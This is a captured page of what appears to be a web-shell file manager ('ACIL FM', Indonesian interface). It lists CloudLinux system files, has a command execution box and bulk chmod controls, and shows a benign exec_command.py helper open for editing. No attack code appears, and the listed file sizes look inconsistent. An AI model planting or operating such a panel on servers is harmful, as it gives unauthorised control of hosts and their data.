ACIL FM
Dark
Refresh
Current DIR:
/usr/share/lve/modlscapi/user
/
usr
share
lve
modlscapi
user
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
__pycache__
-
chmod
Open
Rename
Delete
dashboard_malfunctions.py
1.36 MB
chmod
View
DL
Edit
Rename
Delete
exec_command.py
1.62 MB
chmod
View
DL
Edit
Rename
Delete
lsphpchecker.ini
1.55 MB
chmod
View
DL
Edit
Rename
Delete
lsphpchecker.py
11.02 MB
chmod
View
DL
Edit
Rename
Delete
lve_diagnostic.py
13.42 MB
chmod
View
DL
Edit
Rename
Delete
mod_lsapi_stat.py
14.7 MB
chmod
View
DL
Edit
Rename
Delete
selector_usage_lib.py
12.87 MB
chmod
View
DL
Edit
Rename
Delete
stat_utils.py
9.17 MB
chmod
View
DL
Edit
Rename
Delete
switch_lsapi
27.78 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/lve/modlscapi/user/exec_command.py
#%copyright% import os import subprocess def first_quot(line, isquotf): if line[0] == "\"" and isquotf == 0: return 1 return 0 def last_quot(line, isquotf): if line[len(line) - 1] == '\"' and isquotf == 1: return 1 return 0 def parse_command(command): command = command.split(" ") isquot = 0 res = "" result = [] for i in range(len(command)): if command[i] != "": if first_quot(command[i], isquot) == 1: isquot = 1 res = command[i] continue if last_quot(command[i], isquot) == 1: isquot = 0 res += " " + command[i] result.append(res) continue result.append(command[i]) print(result) def exec_command(command): result = [] try: p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) while 1: output = p.stdout.readline() if not output: break if output.strip() != "": result.append(output.decode().strip()) except Exception as inst: print("Call process error: " + str(inst)) return result def exec_command_out(command): """ Run command via os.system and return its exit status :param command: Command to execute in a subshell :return: Exit status of the command process """ return os.system(command) def exec_command_find_substring(command, substring): result = exec_command(command) for i in result: if substring in i: return i return -1
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply